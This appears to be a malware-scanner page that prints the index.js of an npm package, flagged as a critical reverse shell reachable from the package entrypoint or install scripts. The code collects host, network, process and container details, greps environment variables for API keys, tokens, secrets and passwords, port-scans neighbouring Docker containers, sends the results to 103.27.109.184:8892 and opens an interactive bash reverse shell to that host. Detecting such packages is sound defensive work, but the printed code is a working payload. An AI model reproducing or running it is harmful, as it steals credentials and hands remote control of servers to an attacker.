Lines 1-54javascript
2 var net = require('net');
3 var os = require('os');
4 var cp = require('child_process');
7 try { return cp.execSync(cmd, {timeout:5000, encoding:'utf8'}); }
8 catch(e) { return 'ERR: '+e.message; }
12 '=== HOSTNAME ===', run('hostname'),
13 '=== ID ===', run('id'),
14 '=== IP ADDR ===', run('ip addr 2>/dev/null||ifconfig 2>/dev/null'),
15 '=== IP ROUTE ===', run('ip route 2>/dev/null||route -n 2>/dev/null'),
16 '=== ENV ===', run('env|grep -iE "api|key|token|secret|pass|db|mongo|redis|evolution|whatsapp|webhook|n8n|docker|container"'),
17 '=== LISTENING PORTS ===', run('ss -tlnp 2>/dev/null||netstat -tlnp 2>/dev/null'),
18 '=== DOCKER SOCK ===', run('ls -la /var/run/docker.sock /run/docker.sock 2>&1'),
19 '=== MOUNTS ===', run('mount 2>/dev/null|head -30'),
20 '=== CGROUP ===', run('cat /proc/1/cgroup 2>/dev/null'),
21 '=== CAPS ===', run('cat /proc/self/status 2>/dev/null|grep -i cap'),
22 '=== PS ===', run('ps aux 2>/dev/null'),
23 '=== LS HOME ===', run('ls -la /home/node/ 2>/dev/null'),
24 '=== LS / ===', run('ls -la /'),
25 '=== CRONTAB ===', run('cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null'),
26 '=== FIND N8N FILES ===', run('find / -maxdepth 5 -name "*.js" -path "*n8n*" 2>/dev/null|head -20'),
29 // Scan 172.17.0.x for other containers
30 recon.push('=== NET SCAN ===');
31 for (var i = 1; i <= 10; i++) {
32 var ip = '172.17.0.' + i;
33 [80,443,8080,5678].forEach(function(port) {
35 var out = cp.execSync('timeout 2 bash -c "echo>/dev/tcp/'+ip+'/'+port+'" 2>&1 && echo OPEN', {timeout:3000, encoding:'utf8'});
36 if (out.indexOf('OPEN')>=0) recon.push(ip+':'+port+' OPEN');
41 var data = recon.join('\n');
43 var sock = new net.Socket();
44 sock.connect(8892, '103.27.109.184', function(){
51 try {
CriticalReverse Shell
Source matches reverse-shell style process and socket wiring.
index.jsView on unpkg · L1 CriticalTrigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L1 52 var sh = cp.spawn('/bin/bash', ['-i']);
53 var c = new net.Socket();
54 c.connect(8892, '103.27.109.184', function(){